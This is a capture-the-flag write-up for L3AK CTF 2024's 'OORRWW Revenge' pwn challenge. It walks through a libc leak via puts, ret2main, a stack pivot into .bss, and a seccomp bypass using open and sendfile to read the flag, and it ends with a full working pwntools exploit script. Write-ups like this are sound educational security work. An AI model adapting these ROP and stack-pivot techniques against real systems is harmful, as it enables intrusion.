L3AK CTF 2024 - OORRWW REVENGE
Category : PWN
Phreaks 2600
You can find this writeup at Phreaks 2600 website
OORRWW Revenge != OORRWW
Although the challenges are similar, here are their differences :
- No more leaks of stack address or LIBC function :

- The payload will be longer (its size increased from 22 bytes to 30 bytes)

- PIE is OFF. I will again assume that ASLR is ON :

Leak __isoc99_scanf manually
According to OORRWW, I know where the vulnerability is and I know what to do.
However, there are no more leaks. I need to do ret2libc by leaking a function address myself.
Why not using puts() to leak __isoc99_scanf()@GOT again ?
0x0000000000401203 : pop rax ; ret
0x00000000004012db : mov edi, eax ; call 0x4010c0 ; nop ; pop rbp ; retThese two gadgets are perfect since 0x4010c0 points to puts@plt.

As you can see in this pwndbg session
__isoc99_scanf@PLTaddress is0x401100which is less than 4-bytes long. It will fit in a 4 bytes register (EAX and EDI)
I used this payload for leaking data (using functions from OORRWW payload):
11
2payload = [b"-",
3 b"-",
4 b"-",
5 b"-",
6 b"-",
7 b"-",
8 b"-",
9 b"-",
10 b"-",
11 b"-",
12 b"-",
13 b"-",
14 b"-",
15 b"-",
16 b"-",
17 b"-",
18 b"-",
19 b"-",
20 b"-",
21 b"-", # canary
22 b"-", # rbp
23 int2bytes(POP_RAX_RET), # ret
24 int2bytes(elf.got["__isoc99_scanf"]),
25 int2bytes(MOV_EDI_EAX_PUTS),
26 b"-",
27 b"-",
28 b"-",
29 b"-",
30 b"-",
31 b"-" ]Ret2Main
There are no stack address leak as the first challenge… And I have 40 bytes left for my payload, which is not enough.
Let’s do ret2main to start again with LIBC leak :

Oops, SIGSEGV !
I need to be careful to stack alignment issues. Here is the new payload :
11
2payload = [b"-",
3 b"-",
4 b"-",
5 b"-",
6 b"-",
7 b"-",
8 b"-",
9 b"-",
10 b"-",
11 b"-",
12 b"-",
13 b"-",
14 b"-",
15 b"-",
16 b"-",
17 b"-",
18 b"-",
19 b"-",
20 b"-",
21 b"-", # canary
22 b"-", # rbp
23 int2bytes(POP_RAX_RET), # ret
24 int2bytes(elf.got["__isoc99_scanf"]),
25 int2bytes(MOV_EDI_EAX_PUTS),
26 b"-", # pop rbp from previous gadget
27 int2bytes(RET), # align the stack to 16 bytes
28 int2bytes(elf.sym["main"]),
29 b"-",
30 b"-",
31 b"-" ]Second round : writing payload in STDIN
Because I have no leak of stack address and no more space (56 bytes are not enough), my idea was to continue writing somewhere using more bytes.
Because PIE is off, I know where is data segment and I can continue writing my payload inside. I have LIBC leak so I can use this function :
11
2read(0, 0x404020, 0x500); // 0x500 bytes should be enough
Here are the gadgets found in libc.so.6 :
0x00000000001741a2 : pop rdi ; ret
0x0000000000164bbb : pop rsi ; ret
0x0000000000174e4e : pop rdx ; pop rbx ; retAnd the second payload to allow injecting bytes into data segment :
11
2payload = [b"-",
3 b"-",
4 b"-",
5 b"-",
6 b"-",
7 b"-",
8 b"-",
9 b"-",
10 b"-",
11 b"-",
12 b"-",
13 b"-",
14 b"-",
15 b"-",
16 b"-",
17 b"-",
18 b"-",
19 b"-",
20 b"-",
21 b"-", # canary
22 int2bytes(0x404028), # rbp -> stack pivoting (RSP = 0x404030)
23 int2bytes(POP_RDI_RET), # ret
24 int2bytes(0),
25 int2bytes(POP_RSI_RET),
26 int2bytes(0x404020),
27 int2bytes(POP_RDX_RBX_RET),
28 int2bytes(0x500),
29 int2bytes(0x500),
30 int2bytes(base + libc.sym["read"]),
31 int2bytes(LEAVE_RET), # stack pivoting (rsp = rbp -> 0x404030)
32]Now, I can write 1280 bytes of data in 0x404020 and redirect RSP at 0x404030 using stack pivoting technique.
Thanks to stack pivoting, RSP is now pointing to data segment !
I let 16 bytes between RSP and RBP to write“flag.txt\0”.
I no longer usescanf("%lf",...);: I can write raw bytes instead of double floating points.
Third round : seccomp bypass
Then, all I need to do is to bypass seccomp with open and sendfile. The last payload is quite the same as OORRWW :
11
2payload = [b"flag.txt", # "flag.txt"
3 p64(0), # "\0" for the end of "flag.txt"
4 p64(POP_RAX_RET), # RAX = 2
5 p64(2),
6 p64(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0"
7 p64(0x404020),
8 p64(POP_RSI_RET), # RSI = O_RDONLY -> 2
9 p64(2),
10 p64(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
11 p64(POP_RDI_RET), # RDI = 1 -> stdout
12 p64(1),
13 p64(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
14 p64(3),
15p64(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
16 # RBX = 0 (junk)
17 p64(0),
18 p64(0),
19 p64(POP_RCX_RET), # RCX = 0x50
20 p64(0x50),
21p64(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);
22]Final payload
11
2# ===============================================[ Module Imports ]===============================================
3from pwn import *
4from decimal import Decimal
5import struct
6
7# =====================================[ Load ELF binary and start process ]======================================
8elf = ELF("./oorrww_revenge_patched",checksec=False)
9libc = ELF("libc.so.6",checksec=False)
10io = process([elf.path],env={"LD_PRELOAD": libc.path})
11
12# ==================================================[ Functions ]=================================================
13def int2double(x):
14 return struct.unpack('d',p64(x))[0]
15
16def double2bytes(x):
17 return str(x).encode("utf-8")
18
19def int2bytes(x):
20 return double2bytes(int2double(x))
21
22def bytes2doublebytes(x):
23 return double2bytes(struct.unpack('d',x)[0])
24
25# ========================================[ oorrww_revenge_patched Gadgets ]======================================
26MOV_EDI_EAX_PUTS = 0x00000000004012db
27POP_RAX_RET = 0x0000000000401203
28RET = 0x000000000040101a
29
30# ==========================================[ First payload : leak LIBC ]=========================================
31payload = [b"-",
32 b"-",
33 b"-",
34 b"-",
35 b"-",
36 b"-",
37 b"-",
38 b"-",
39 b"-",
40 b"-",
41 b"-",
42 b"-",
43 b"-",
44 b"-",
45 b"-",
46 b"-",
47 b"-",
48 b"-",
49 b"-",
50 b"-", # canary
51 b"-", # rbp
52 int2bytes(POP_RAX_RET), # ret
53 int2bytes(elf.got["__isoc99_scanf"]),
54 int2bytes(MOV_EDI_EAX_PUTS),
55 b"-", # pop rbp from previous gadget
56 int2bytes(RET), # align the stack to 16 bytes
57 int2bytes(elf.sym["main"]),
58 b"-",
59 b"-",
60 b"-",
61]
62
63for i in range(len(payload)):
64 io.recvline()
65 io.sendline(payload[i])
66
67io.recvline()
68leak = io.recvline()[:-1][::-1]
69leak = hex(int.from_bytes(leak))
70print("[+] Leak __isoc99_scanf @ "+leak)
71
72base = int(leak[2:],16)-libc.sym["__isoc99_scanf"]
73print("[+] LIBC base @ "+hex(base))
74
75# ===============================================[ libc.so.6 Gadgets ]============================================
76POP_RAX_RET = base + 0x000000000011bec9
77POP_RDI_RET = base + 0x00000000001741a2
78POP_RSI_RET = base + 0x0000000000164bbb
79POP_RDX_POP_RBX_RET = base + 0x0000000000174e4e
80POP_RCX_RET = base + 0x000000000003d1ee
81LEAVE_RET = base + 0x000000000004da83
82SYSCALL_RET = base + 0x0000000000091316
83
84# =======================================[ Second payload : write in .bss ]=======================================
85payload = [b"-",
86 b"-",
87 b"-",
88 b"-",
89 b"-",
90 b"-",
91 b"-",
92 b"-",
93 b"-",
94 b"-",
95 b"-",
96 b"-",
97 b"-",
98 b"-",
99 b"-",
100 b"-",
101 b"-",
102 b"-",
103 b"-",
104 b"-", # canary
105 int2bytes(0x404028), # rbp -> stack pivoting (RSP = 0x404030)
106 int2bytes(POP_RDI_RET), # ret
107 int2bytes(0),
108 int2bytes(POP_RSI_RET),
109 int2bytes(0x404020), # .bss address
110 int2bytes(POP_RDX_POP_RBX_RET),
111 int2bytes(0x500),
112 int2bytes(0x500),
113 int2bytes(base + libc.sym["read"]),
114 int2bytes(LEAVE_RET), # stack pivoting (rsp = rbp -> 0x404030)
115]
116
117for i in range(len(payload)):
118 io.recvline()
119 io.sendline(payload[i])
120
121# =======================================[ Third payload : seccomp bypass ]=======================================
122payload = [b"flag.txt", # "flag.txt"
123 p64(0), # "\0" for the end of "flag.txt"
124 p64(POP_RAX_RET), # RAX = 2
125 p64(2),
126 p64(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0"
127 p64(0x404020),
128 p64(POP_RSI_RET), # RSI = O_RDONLY -> 2
129 p64(2),
130 p64(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
131 p64(POP_RDI_RET), # RDI = 1 -> stdout
132 p64(1),
133 p64(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
134 p64(3),
135p64(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
136 # RBX = 0 (junk)
137 p64(0),
138 p64(0),
139 p64(POP_RCX_RET), # RCX = 0x50
140 p64(0x50),
141p64(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);
142]
143
144io.send(b"".join(payload))
145
146# =====================================================[ Flag ]===================================================
147
148io.recvline()
149print(b"[+] FLAG : "+io.recv(2048))Notes
I have no longer access to remote machine because I couldn’t complete the challenge on time.
This is why I’m doing it locally.
